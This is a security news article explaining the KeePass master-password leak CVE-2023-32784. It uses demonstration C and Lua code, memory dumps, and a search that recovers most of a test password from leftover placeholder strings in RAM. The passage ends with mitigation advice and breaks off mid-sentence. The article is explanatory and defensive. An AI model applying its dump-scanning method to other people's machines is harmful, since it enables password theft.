Serious Security: That KeePass “master password crack”, and what we can learn from it

by

Paul
Ducklin

Over
the
last
two
weeks,
we’ve
seen
a
series
of
articles
talking
up
what’s
been
described
as
a
“master
password
crack”
in
the
popular
open-source
password
manager
KeePass.

Serious Security: That KeePass “master password crack”, and what we can learn from it

Over
the
last
two
weeks,
we’ve
seen
a
series
of
articles
talking
up
what’s
been
described
as
a
“master
password
crack”
in
the
popular
open-source
password
manager
KeePass.

The
bug
was
considered
important
enough
to
get
an
official
US
government
identifier
(it’s
known
as

CVE-2023-32784
,
if
you
want
to
hunt
it
down),
and
given
that
the
master
password
to
your
password
manager
is
pretty
much
the
key
to
your
whole
digital
castle,
you
can
understand
why
the
story
provoked
lots
of
excitement.

The
good
news
is
that
an
attacker
who
wanted
to
exploit
this
bug
would
almost
certainly
need
to
have
infected
your
computer
with
malware
already,
and
would
therefore
be
able
to
spy
on
your
keystrokes
and
running
programs
anyway.

In
other
words,
the
bug
can
be
considered
an
easily-managed
risk
until
the
creator
of
KeePass
comes
out
with
an
update,
which
should
appear
soon
(at
the
beginning
of
June
2023,
apparently).

As
the
discloser
of
the
bug
takes
care
to

point
out
:

If
you
use
full
disk
encryption
with
a
strong
password
and
your
system
is
[free
from
malware],
you
should
be
fine.
No
one
can
steal
your
passwords
remotely
over
the
internet
with
this
finding
alone.

The
risks
explained

Heavily
summarised,
the
bug
boils
down
to
the
difficulty
of
ensuring
that
all
traces
of
confidential
data
are
purged
from
memory
once
you’ve
finished
with
them.

We’ll
ignore
here
the
problems
of
how
to
avoid
having
secret
data
in
memory
at
all,
even
briefly.

In
this
article,
we
just
want
to
remind
programmers
everywhere
that
code
approved
by
a
security-conscious
reviewer
with
a
comment
such
as
“appears
to
clean
up
correctly
after
itself”…

…might
in
fact
not
clean
up
fully
at
all,
and
the
potential
data
leakage
might
not
be
obvious
from
a
direct
study
of
the
code
itself.

Simply
put,
the
CVE-2023-32784
vulnerability
means
that
a
KeePass
master
password
might
be
recoverable
from
system
data
even
after
the
KeyPass
program
has
exited,
because
sufficient
information
about
your
password
(albeit
not
actually
the
raw
password
itself,
which
we’ll
focus
on
in
a
moment)
might
get
left
behind
in
sytem
swap
or
sleep
files,
where
allocated
system
memory
may
end
up
saved
for
later.

On
a
Windows
computer
where
BitLocker
isn’t
used
to
encrypt
the
hard
disk
when
the
system
is
turned
off,
this
would
give
a
crook
who
stole
your
laptop
a
fighting
chance
of
booting
up
from
a
USB
or
CD
drive,
and
recovering
your
master
password
even
though
the
KeyPass
program
itself
takes
care
never
to
save
it
permanently
to
disk.

A
long-term
password
leak
in
memory
also
means
that
the
password
could,
in
theory,
be
recovered
from
a
memory
dump
of
the
KeyPass
program,
even
if
that
dump
was
grabbed
long
after
you’d
typed
the
password
in,
and
long
after
the
KeePass
itself
had
no
more
need
to
keep
it
around.

Clearly,
you
should
assume
that
malware
already
on
your
system
could
recover
almost
any
typed-in
password
via
a
variety
of
real-time
snooping
techniques,
as
long
as
they
were
active
at
the
time
you
did
the
typing.
But
you
might
reasonably
expect
that
your
time
exposed
to
danger
would
be
limited
to
the
brief
period
of
typing,
not
extended
to
many
minutes,
hours
or
days
afterwards,
or
perhaps
longer,
including
after
you
shut
your
computer
down.

What
gets
left
behind?

We
therefore
thought
we’d
take
a
high-level
look
at
how
secret
data
can
get
left
behind
in
memory
in
ways
that
aren’t
directly
obvious
from
the
code.

Don’t
worry
if
you
aren’t
a
programmer

we’ll
keep
it
simple,
and
explain
as
we
go.

We’ll
start
by
looking
at
memory
use
and
cleanup
in
a
simple
C
program
that
simulates
entering
and
temporarily
storing
a
password
by
doing
the
following:


  • Allocating
    a
    dedicated
    chunk
    of
    memory

    specially
    to
    store
    the
    password.

  • Inserting
    a
    known
    text
    string

    so
    we
    can
    easily
    find
    it
    in
    memory
    if
    needed.

  • Appending
    16
    pseudo-random
    8-bit
    ASCII
    characters

    from
    the
    range
    A-P.

  • Printing
    out

    the
    simulated
    password
    buffer.

  • Freeing
    up
    the
    memory

    in
    the
    hope
    of
    expunging
    the
    password
    buffer.

  • Exiting

    the
    program.

Greatly
simplified,
the
C
code
might
look
something
like
this,
with
no
error
checking,
using
poor-quality
pseudo-random
numbers
from
the
C
runtime
function

rand()
,
and
ignoring
any
buffer
overflow
checks
(never
do
any
of
this
in
real
code!):


 // Ask for memory
 char* buff = malloc(128);

 // Copy in fixed string we can recognise in RAM
 strcpy(buff,"unlikelytext");

 // Append 16 pseudo-random ASCII characters
 for (int i = 1; i <= 16; i++) {
    // Choose a letter from A (65+0) to P (65+15)
    char ch = 65 + (rand() & 15);
    // Modify the buff string directly in memory
    strncat(buff,&ch,1);
 }
 
 // Print it out, so we're done with buff
 printf("Full string was: %sn",buff);

 // Return the unwanted buffer and hope that expunges it
 free(buff);

In
fact,
the
code
we
finally
used
in
our
tests
includes
some
additional
bits
and
pieces
shown
below,
so
that
we
could
dump
the
full
contents
of
our
temporary
password
buffer
as
we
used
it,
to
look
for
unwanted
or
left-over
content.

Note
that
we
deliberately
dump
the
buffer
after
calling

free()
,
which
is
technically
a
use-after-free
bug,
but
we
are
doing
it
here
as
a
sneaky
way
of
seeing
whether
anything
critical
gets
left
behind
after
handing
our
buffer
back,
which
could
lead
to
a
dangerous
data
leakage
hole
in
real
life.

We’ve
also
inserted
two

Waiting
for
[Enter]

prompts
into
the
code
to
give
ourselves
a
chance
to
create
memory
dumps
at
key
points
in
the
program,
giving
us
raw
data
to
search
later,
in
order
to
see
what
was
left
behind
as
the
program
ran.

To
do
memory
dumps,
we’ll
be
using
the
Microsoft

Sysinternals
tool


procdump

with
the

-ma

option
(dump
all
memory
),
which
avoids
the
need
to
write
our
own
code
to
use
the
Windows

DbgHelp

system
and
its
rather
complex

MiniDumpXxxx()


functions
.

To
compile
the
C
code,
we
used
our
own
small-and-simple
build
of
Fabrice
Bellard’s
free
and
open-source

Tiny
C
Compiler,

available
for
64-bit
Windows
in

source
and
binary
form

directly
from
our
GitHub
page.

Copy-and-pastable
text
of
all
the
source
code
pictured
in
the
article
appears
at
the
bottom
of
the
page.

This
is
what
happened
when
we
compiled
and
ran
the
test
program:

C:UsersduckKEYPASS> petcc64 -stdinc -stdlib unl1.c
Tiny C Compiler - Copyright (C) 2001-2023 Fabrice Bellard
Stripped down by Paul Ducklin for use as a learning tool
Version petcc64-0.9.27 [0006] - Generates 64-bit PEs only
-> unl1.c
-> c:/users/duck/tcc/petccinc/stdio.h
[. . . .]
-> c:/users/duck/tcc/petcclib/libpetcc1_64.a
-> C:/Windows/system32/msvcrt.dll
-> C:/Windows/system32/kernel32.dll
-------------------------------
  virt   file   size  section
  1000    200    438  .text
  2000    800    2ac  .data
  3000    c00     24  .pdata
-------------------------------
<- unl1.exe (3584 bytes)

C:UsersduckKEYPASS> unl1.exe

Dumping 'new' buffer at start
00F51390: 90 57 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .W......P.......
00F513A0: 73 74 65 6D 33 32 5C 63 6D 64 2E 65 78 65 00 44 stem32cmd.exe.D
00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win
00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr
00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData
00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_
00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF
00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter
00F51410: 6E 65 74 20 45 78 70 6C 7A 56 F4 3C AC 4B 00 00 net ExplzV.<.K..

Full string was: unlikelytextJHKNEJJCPOMDJHAN
00F51390: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 4A 48 4B 4E unlikelytextJHKN
00F513A0: 45 4A 4A 43 50 4F 4D 44 4A 48 41 4E 00 65 00 44 EJJCPOMDJHAN.e.D
00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win
00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr
00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData
00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_
00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF
00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter
00F51410: 6E 65 74 20 45 78 70 6C 7A 56 F4 3C AC 4B 00 00 net ExplzV.<.K..

Waiting for [ENTER] to free buffer...

Dumping buffer after free()
00F51390: A0 67 F5 00 00 00 00 00 50 01 F5 00 00 00 00 00 .g......P.......
00F513A0: 45 4A 4A 43 50 4F 4D 44 4A 48 41 4E 00 65 00 44 EJJCPOMDJHAN.e.D
00F513B0: 72 69 76 65 72 44 61 74 61 3D 43 3A 5C 57 69 6E riverData=C:Win
00F513C0: 64 6F 77 73 5C 53 79 73 74 65 6D 33 32 5C 44 72 dowsSystem32Dr
00F513D0: 69 76 65 72 73 5C 44 72 69 76 65 72 44 61 74 61 iversDriverData
00F513E0: 00 45 46 43 5F 34 33 37 32 3D 31 00 46 50 53 5F .EFC_4372=1.FPS_
00F513F0: 42 52 4F 57 53 45 52 5F 41 50 50 5F 50 52 4F 46 BROWSER_APP_PROF
00F51400: 49 4C 45 5F 53 54 52 49 4E 47 3D 49 6E 74 65 72 ILE_STRING=Inter
00F51410: 6E 65 74 20 45 78 70 6C 4D 00 00 4D AC 4B 00 00 net ExplM..M.K..

Waiting for [ENTER] to exit main()...

C:UsersduckKEYPASS>

In
this
run,
we
didn’t
bother
grabbing
any
process
memory
dumps,
because
we
could
see
right
away
from
the
output
that
this
code
leaks
data.

Right
after
calling
the
Windows
C
runtime
library
function

malloc()
,
we
can
see
that
the
buffer
we
get
back
includes
what
looks
like
environment
variable
data
left
over
from
the
program’s
startup
code,
with
the
first
16
bytes
apparently
altered
to
look
like
some
sort
of
left-over
memory
allocation
header.

(Note
how
those
16
bytes
look
like
two
8-byte
memory
addresses,

0xF55790

and

0xF50150
,
that
are
just
after
and
just
before
our
own
memory
buffer
respectively.)

When
the
password
is
supposed
to
be
in
memory,
we
can
see
the
entire
string
clearly
in
the
buffer,
as
we
would
expect.

But
after
calling

free()
,
note
how
the
first
16
bytes
of
our
buffer
have
been
rewritten
with
what
look
like
nearby
memory
addresses
once
again,
presumably
so
the
memory
allocator
can
keep
track
of
blocks
in
memory
that
it
can
re-use…


but
the
rest
of
the
our
“expunged”
password
text
(the
last
12
random
characters

EJJCPOMDJHAN
)
has
been
left
behind.

Not
only
do
we
need
to
manage
our
own
memory
allocations
and
de-allocations
in
C,
we
also
need
to
ensure
that
we
choose
the
right
system
functions
for
data
buffers
if
we
want
to
control
them
precisely.

For
example,
by
switching
to
this
code
instead,
we
get
a
bit
more
control
over
what’s
in
memory:

By
switching
from

malloc()

and

free()

to
use
the
lower-level
Windows
allocation
functions

VirtualAlloc()

and

VirtualFree()

directly,
we
get
better
control.

However,
we
pay
a
price
in
speed,
because
each
call
to

VirtualAlloc()

does
more
work
that
a
call
to

malloc()
,
which
works
by
continually
dividing
and
subdividing
a
block
of
pre-allocated
low-level
memory.

Using

VirtualAlloc()

repeatedly
for
small
blocks
also
uses
up
more
memory
overall,
because
each
block
dished
out
by

VirtualAlloc()

typically
consumes
a
multiple
of
4KB
of
memory
(or
2MB,
if
you
are
using
so-called

large
memory
pages
),
so
that
our
128-byte
buffer
above
is
rounded
up
to
4096
bytes,
wasting
the
3968
bytes
at
the
end
of
the
4KB
memory
block.

But,
as
you
can
see,
the
memory
we
get
back
is
automatically
blanked
out
(set
to
zero),
so
we
can’t
see
what
was
there
before,
and
this
time
the
program
crashes
when
we
try
to
do
our
use-after-free
trick,
because
Windows
detects
that
we’re
trying
to
peek
at
memory
we
no
longer
own:

C:UsersduckKEYPASS> unl2
Dumping 'new' buffer at start
0000000000EA0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Full string was: unlikelytextIBIPJPPHEOPOIDLL
0000000000EA0000: 75 6E 6C 69 6B 65 6C 79 74 65 78 74 49 42 49 50 unlikelytextIBIP
0000000000EA0010: 4A 50 50 48 45 4F 50 4F 49 44 4C 4C 00 00 00 00 JPPHEOPOIDLL....
0000000000EA0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0000000000EA0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Waiting for [ENTER] to free buffer...

Dumping buffer after free()
0000000000EA0000:

[Program terminated here because Windows caught our use-after-free]

Because
the
memory
we
freed
up
will
need
re-allocating
with

VirtualAlloc()

before
it
can
be
used
again,
we
can
assume
that
it
will
be
zeroed
out
before
it’s
recycled.

However,
if
we
wanted
to
make
sure
it
was
blanked
out,
we
could
call
the
special
Windows
function

RtlSecureZeroMemory()

just
before
freeing
it,
to
guarantee
that
Windows
will
write
zeros
into
our
buffer
first.

The
related
function

RtlZeroMemory()
,
if
you
were
wondering,
does
a
similar
thing,
but
without
the
guarantee
of
actually
working,
because
compilers
are
allowed
to
remove
it
as
theoretically
redundant
if
they
notice
that
the
buffer
is
not
used
again
afterwards.

As
you
can
see,
we
need
to
take
considerable
care
to
use
the
right
Windows
functions
if
we
want
to
miminise
the
time
that
secrets
stored
in
memory
may
lie
around
for
later.

In
this
article,
we
aren’t
going
to
look
at
how
you
prevent
secrets
getting
saved
out
accidentally
to
your
swap
file
by
locking
them
into
physical
RAM.
(Hint:

VirtualLock()

isn’t
actually
enough
on
its
own.)
If
you
would
like
to
know
more
about
low-level
Windows
memory
security,
let
us
know
in
the
comments
and
we
will
look
at
it
in
a
future
article.

Using
automatic
memory
management

One
neat
way
to
avoid
having
to
allocate,
manage
and
deallocate
memory
by
ourselves
is
to
use
a
programming
language
that
takes
care
of

malloc()

and

free()
,
or

VirtualAlloc()

and

VirtualFree()
,
automatically.

Scripting
language
such
as

Perl
,

Python
,

Lua
,

JavaScript

and
others
get
rid
of
the
most
common
memory
saftey
bugs
that
plague
C
and
C++
code,
by
tracking
memory
usage
for
you
in
the
background.

As
we
mentioned
earlier,
our
badly-written
sample
C
code
above
works
fine
now,
but
only
because
it’s
still
a
super-simple
program,
with
fixed-size
data
structures,
where
we
can
verify
by
inspection
that
we
won’t
overwrite
our
128-byte
buffer,
and
that
there
is
only
one
execution
path
that
starts
with

malloc()

and
ends
with
a
corresponding

free()
.

But
if
we
updated
it
to
allow
variable-length
password
generation,
or
added
additional
features
into
the
generation
process,
then
we
(or
whoever
maintains
the
code
next)
could
easily
end
up
with
buffer
overflows,
use-after-free
bugs,
or
memory
that
never
gets
freed
up
and
therefore
leaves
secret
data
hanging
around
long
after
it
is
no
longer
needed.

In
a
language
like
Lua,
we
can
let
the
Lua
run-time
environment,
which
does
what’s
known
in
the
jargon
as

automatic
garbage
collection
,
deal
with
acquiring
memory
from
the
system,
and
returning
it
when
it
detects
we’ve
stopped
using
it.

The
C
program
we
listed
above
becomes
very
much
simpler
when
memory
allocation
and
de-allocation
are
taken
care
of
for
us:

We
allocate
memory
to
hold
the
string

s

simply
by
assigning
the
string

'unlikelytext'

to
it.

We
can
later
either
hint
to
Lua
explicitly
that
we
are
no
longer
interested
in

s

by
assigning
it
the
value

nil

(all

nils

are
essentially
the
same
Lua
object),
or
stop
using

s

and
wait
for
Lua
to
detect
that
it’s
no
longer
needed.

Either
way,
the
memory
used
by

s

will
eventually
be
recovered
automatically.

And
to
prevent
buffer
overflows
or
size
mismanagement
when
appending
to
text
strings
(the
Lua
operator

..
,
pronounced

concat,

essentially
adds
two
strings
together,
like

+

in
Python),
every
time
we
extend
or
shorten
a
string,
Lua
magically
allocates
space
for
a
brand
new
string,
rather
than
modifying
or
replacing
the
original
one
in
its
existing
memory
location.

This
approach
is
slower,
and
leads
to
memory
usage
peaks
that
are
higher
than
you’d
get
in
C
due
to
the
intermediate
strings
allocated
during
text
manipulation,
but
it’s
much
safer
in
respect
of
buffer
overflows.

But
this
sort
of
automatic
string
management
(known
in
the
jargon
as

immutability
,
because
strings
never
get

mutated,

or
modified
in
place,
once
they’ve
been
created),
does
bring
new
cybersecurity
headaches
of
its
own.

We
ran
the
Lua
program
above
on
Windows,
up
to
the
second
pause,
just
before
the
program
exited:

C:UsersduckKEYPASS> lua s1.lua
Full string is: unlikelytextHLKONBOJILAGLNLN

Waiting for [ENTER] before freeing string...

Waiting for [ENTER] before exiting...

This
time,
we
took
a
process
memory
dump,
like
this:

C:UsersduckKEYPASS> procdump -ma lua lua-s1.dmp

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[00:00:00] Dump 1 initiated: C:UsersduckKEYPASSlua-s1.dmp
[00:00:00] Dump 1 writing: Estimated dump file size is 10 MB.
[00:00:00] Dump 1 complete: 10 MB written in 0.1 seconds
[00:00:01] Dump count reached.

Then
we
ran
this
simple
script,
which
reads
the
dump
file
back
in,
finds
everywhere
in
memory
that
that
the
known
string

unlikelytext

appeared,
and
prints
it
out,
together
with
its
location
in
the
dumpfile
and
the
ASCII
characters
that
immediately
followed:

Even
if
you’ve
used
script
languages
before,
or
worked
in
any
programming
ecosystem
that
features
so-called

managed
strings
,
where
the
system
keeps
track
of
memory
allocations
and
deallocations
for
you,
and
handles
them
as
it
sees
fit…

…you
might
be
surprised
to
see
the
output
that
this
memory
scan
produces:

C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp
006D8AFC: unlikelytextALJBNGOAPLLBDEB
006D8B3C: unlikelytextALJBNGOA
006D8B7C: unlikelytextALJBNGO
006D8BFC: unlikelytextALJBNGOAPLLBDEBJ
006D8CBC: unlikelytextALJBN
006D8D7C: unlikelytextALJBNGOAP
006D903C: unlikelytextALJBNGOAPL
006D90BC: unlikelytextALJBNGOAPLL
006D90FC: unlikelytextALJBNG
006D913C: unlikelytextALJBNGOAPLLB
006D91BC: unlikelytextALJB
006D91FC: unlikelytextALJBNGOAPLLBD
006D923C: unlikelytextALJBNGOAPLLBDE
006DB70C: unlikelytextALJ
006DBB8C: unlikelytextAL
006DBD0C: unlikelytextA

Lo
and
behold,
at
the
time
we
grabbed
our
memory
dump,
even
though
we’d
finished
with
the
string

s

(and
told
Lua
that
we
didn’t
need
it
any
more
by
saying

s
=
nil
),
all
the
strings
that
the
code
had
created
along
the
way
were
still
present
in
RAM,
not
yet
recovered
or
deleted.

Indeed,
if
we
sort
the
above
output
by
the
strings
themselves,
rather
than
following
the
order
in
which
they
appeared
in
RAM,
you’ll
be
able
to
picture
what
happened
during
the
loop
where
we
concatenated
one
character
at
a
time
to
our
password
string:

C:UsersduckKEYPASS> lua findit.lua lua-s1.dmp | sort /+10
006DBD0C: unlikelytextA
006DBB8C: unlikelytextAL
006DB70C: unlikelytextALJ
006D91BC: unlikelytextALJB
006D8CBC: unlikelytextALJBN
006D90FC: unlikelytextALJBNG
006D8B7C: unlikelytextALJBNGO
006D8B3C: unlikelytextALJBNGOA
006D8D7C: unlikelytextALJBNGOAP
006D903C: unlikelytextALJBNGOAPL
006D90BC: unlikelytextALJBNGOAPLL
006D913C: unlikelytextALJBNGOAPLLB
006D91FC: unlikelytextALJBNGOAPLLBD
006D923C: unlikelytextALJBNGOAPLLBDE
006D8AFC: unlikelytextALJBNGOAPLLBDEB
006D8BFC: unlikelytextALJBNGOAPLLBDEBJ

All
those
temporary,
intermediate
strings
are
still
there,
so
even
if
we
had
successfully
wiped
out
the
final
value
of

s
,
we’d
still
be
leaking
everything
except
its
last
character.

In
fact,
in
this
case,
even
when
we
deliberately
forced
our
program
to
dispose
of
all
unneeded
data
by
calling
the
special
Lua
function

collectgarbage()

(most
scripting
languages
have
something
similar),
most
of
the
data
in
those
pesky
temporary
strings
stuck
around
in
RAM
anyway,
because
we’d
compiled
Lua
to
do
its
automatic
memory
management
using
good
old

malloc()

and

free()
.

In
other
words,
even
after
Lua
itself
reclaimed
its
temporary
memory
blocks
to
use
them
again,
we
couldn’t
control
how
or
when
those
memory
blocks
would
get
re-used,
and
thus
how
long
they
would
lie
around
inside
the
process
with
their
left-over
data
waiting
to
be
sniffed
out,
dumped,
or
otherwise
leaked.

Enter
.NET

But
what
about
KeePass,
which
is
where
this
article
started?

KeePass
is
written
in
C#,
and
uses
the
.NET
runtime,
so
it
avoids
the
problems
of
memory
mismanagement
that
C
programs
bring
with
them…

…but
C#
manages
its
own
text
strings,
rather
like
Lua
does,
which
raises
the
question:

Even
if
the
programmer
avoided
storing
the
entire
master
password
on
one
place
after
he’d
finished
with
it,
could
attackers
with
access
to
a
memory
dump
nevertheless
find
enough
left-over
temporary
data
to
guess
at
or
recover
the
master
password
anyway,
even
if
those
attackers
got
access
to
your
computer
minutes,
hours,
or
days
after
you’d
typed
the
password
in
?

Simply
put,
are
there
detectable,
ghostly
remnants
of
your
master
password
that
survive
in
RAM,
even
after
you’d
expect
them
to
have
been
expunged?

Annoyingly,
as
Github
user

Vdohney
discovered
,
the
answer
(for
KeePass
verions
earlier
than
2.54,
at
least)
is,
“Yes.”

To
be
clear,
we
don’t
think
that
your
actual
master
password
can
be
recovered
as
a
single
text
string
from
a
KeePass
memory
dump,
because
the
author
created
a
special
function
for
master
password
entry
that
goes
out
of
its
way
to
avoid
storing
the
full
password
where
it
could
easily
be
spotted
and
sniffed
out.

We
satisfied
ourselves
of
this
by
setting
our
master
password
to

SIXTEENPASSCHARS
,
typing
it
in,
and
then
taking
memory
dumps
immediately,
shortly,
and
long
afterwards.

We
searched
the
dumps
with
a
simple
Lua
script
that
looked
everwhere
for
that
password
text,
both
in
8-bit
ASCII
format,
and
in
16-bit
UTF-16
(Windows
widechar)
format,
like
this:

The
results
were
encouraging:

C:UsersduckKEYPASS> lua searchknown.lua kp2-post.dmp
Reading in dump file... DONE.
Searching for SIXTEENPASSCHARS as 8-bit ASCII... not found.
Searching for SIXTEENPASSCHARS as UTF-16... not found.

But
Vdohney,
the
discoverer
of
CVE-2023-32784,
noticed
that
as
you
type
in
your
master
password,
KeePass
gives
you
visual
feedback
by
constructing
and
displaying
a
placeholder
string
consisting
of
Unicode
“blob”
characters,
up
to
and
including
the
length
of
your
password:

In
widechar
text
strings
on
Windows
(which
consist
of
two
bytes
per
character,
not
just
one
byte
each
as
in
ASCII),
the
“blob”
character
is
encoded
in
RAM
as
the
hex
byte

0xCF

followed
by

0x25

(which
just
happens
to
be
a
percent
sign
in
ASCII).

So,
even
if
KeePass
is
taking
great
care
with
the
raw
characters
you
type
in
when
you
enter
the
password
itself,
you
might
end
up
with
left-over
strings
of
“blob”
characters,
easily
detectable
in
memory
as
repeated
runs
such
as

CF25CF25

or

CF25CF25CF25

…and,
if
so,
the
longest
run
of
blob
characters
you
found
would
probably
give
away
the
length
of
your
password,
which
would
be
a
modest
form
of
password
information
leakage,
if
nothing
else.

We
used
the
following
Lua
script
to
look
for
signs
of
left-over
password
placeholder
strings:

The
output
was
surprising
(we
have
deleted
successive
lines
with
the
same
number
of
blobs,
or
with
fewer
blobs
than
the
previous
line,
to
save
space):

C:UsersduckKEYPASS> lua findblobs.lua kp2-post.dmp
000EFF3C: *
[. . .]
00BE621B: **
00BE64C7: ***
[. . .]
00BE6E8F: ****
[. . .]
00BE795F: *****
[. . .]
00BE84F7: ******
[. . .]
00BE8F37: *******
[ continues similarly for 8 blobs, 9 blobs, etc. ]
[ until two final lines of exactly 16 blobs each ]
00C0503B: ****************
00C05077: ****************
00C09337: *
00C09738: *
[ all remaining matches are one blob long]
0123B058: *

At
close-together
but
ever-increasing
memory
addresses,
we
found
a
systematic
list
of
3
blobs,
then
4
blobs,
and
so
on
up
to
16
blobs
(the
length
of
our
password),
followed
by
many
randomly
scattered
instances
of
single-blob
strings.

So,
those
placeholder
“blob”
strings
do
indeed
seem
to
be
leaking
into
memory
and
staying
behind
to
leak
the
password
length,
long
after
the
KeePass
software
has
finished
with
your
master
password.

The
next
step

We
decided
to
dig
further,
just
like
Vdohney
did.

We
changed
our
pattern
matching
code
to
detect
chains
of
blob
characters
followed
by
any
single
ASCII
character
in
16-bit
format
(ASCII
characters
are
represented
in
UTF-16
as
their
usual
8-bit
ASCII
code,
followed
by
a
zero
byte).

This
time,
to
save
space,
we
have
suppressed
the
output
for
any
match
that
exactly
matches
the
previous
one:

Surprise,
surprise:

C:UsersduckKEYPASS> lua searchkp.lua kp2-post.dmp
00BE581B: *I
00BE621B: **X
00BE6BD3: ***T
00BE769B: ****E
00BE822B: *****E
00BE8C6B: ******N
00BE974B: *******P
00BEA25B: ********A
00BEAD33: *********S
00BEB81B: **********S
00BEC383: ***********C
00BECEEB: ************H
00BEDA5B: *************A
00BEE623: **************R
00BEF1A3: ***************S
03E97CF2: *N
0AA6F0AF: *W
0D8AF7C8: *X
0F27BAF8: *S

Look
what
we
get
out
of
.NET’s
managed
string
memory
region!

A
closely-bunched
set
of
temporary
“blob
strings”
that
reveal
the
successive
characters
in
our
password,
starting
with
the
second
character.

Those
leaky
strings
are
followed
by
widely-distributed
single-character
matches
that
we
assume
arose
by
chance.
(A
KeePass
dump
file
is
about
250MB
in
size,
so
there
is
plenty
of
room
for
“blob”
characters
to
appear
as
if
by
luck.)

Even
if
we
take
those
extra
four
matches
into
account,
rather
than
discarding
them
as
likely
mismatches,
we
can
guess
that
the
master
password
is
one
of:

?IXTEENPASSCHARS
?NXTEENPASSCHARS
?WXTEENPASSCHARS
?SXTEENPASSCHARS

Obviously,
this
simple
technique
doesn’t
find
the
first
character
in
the
password,
because
the
first
“blob
string”
is
only
constructed
after
that
first
character
has
been
typed
in

Note
that
this
list
is
nice
and
short
because
we
filtered
out
matches
that
didn’t
end
in
ASCII
characters.

If
you
were
looking
for
characters
in
a
different
range,
such
as
Chinese
or
Korean
characters,
you
might
end
up
with
more
accidental
hits,
because
there
are
a
lot
more
possible
characters
to
match
on…

…but
we
suspect
you’ll
get
pretty
close
to
your
master
password
anyway,
and
the
“blob
strings”
that
relate
to
the
password
seem
to
be
grouped
together
in
RAM,
presumably
because
they
were
allocated
at
about
the
same
time
by
the
same
part
of
the
.NET
runtime.

And
there,
in
an
admittedly
long
and
discursive
nutshell,
is
the
fascinating
story
of

CVE-2023-32784
.

What
to
do?


  • If
    you’re
    a
    KeePass
    user,
    don’t
    panic.

    Although
    this
    is
    a
    bug,
    and
    is
    technically
    an
    exploitable
    vulnerability,
    remote
    attackers
    who
    wanted
    to
    crack
    your
    password
    using
    this
    bug
    would
    need
    to
    implant
    malware
    on
    your
    computer
    first.
    That
    would
    give
    them
    many
    other
    ways
    to
    steal
    your
    passwords
    directly,
    even
    if
    this
    bug
    didn’t
    exist,
    for
    example
    by
    logging
    your
    keystrokes
    as
    you
    type.
    At
    this
    point,
    you
    can
    simply
    watch
    out
    for
    the
    forthcoming
    update,
    and
    grab
    it
    when
    it’s
    ready.

  • If
    you
    aren’t
    using
    full-disk
    encryption,
    consider
    enabling
    it.

    To
    extract
    left-over
    passwords
    from
    your
    swap
    file
    or
    hibernation
    file
    (operating
    system
    disk
    files
    used
    to
    save
    memory
    contents
    temporarily
    during
    heavy
    load
    or
    when
    your
    computer
    is
    “sleeping”),
    attackers
    would
    need
    direct
    access
    to
    your
    hard
    disk.
    If
    you
    have
    BitLocker
    or
    its
    equivalent
    for
    other
    operating
    systems
    activated,
    they
    won’t
    be
    able
    to
    access
    your
    swap
    file,
    your
    hibernation
    file,
    or
    any
    other
    personal
    data
    such
    as
    documents,
    spreadsheets,
    saved
    emails,
    and
    so
    on.

  • If
    you’re
    a
    programmer,
    keep
    yourself
    informed
    about
    memory
    management
    issues.

    Don’t
    assume
    that
    just
    because
    every

    free()

    matches
    its
    corresponding

    malloc()

    that
    your
    data
    is
    safe
    and
    well-managed.
    Sometimes,
    you
    may
    need
    to
    take
    extra
    precautions
    to
    avoid
    leaving
    secret
    data
    lying
    around,
    and
    those
    precautions
    very
    from
    operating
    system
    to
    operating
    system.

  • If
    you’re
    a
    QA
    tester
    or
    a
    code
    reviewer,
    always
    think
    “behind
    the
    scenes”.

    Even
    if
    memory
    management
    code
    looks
    tidy
    and
    well-balanced,
    be
    aware
    of
    what’s
    happening
    behind
    the
    scenes
    (because
    the
    original
    programmer
    might
    not
    have
    known
    to
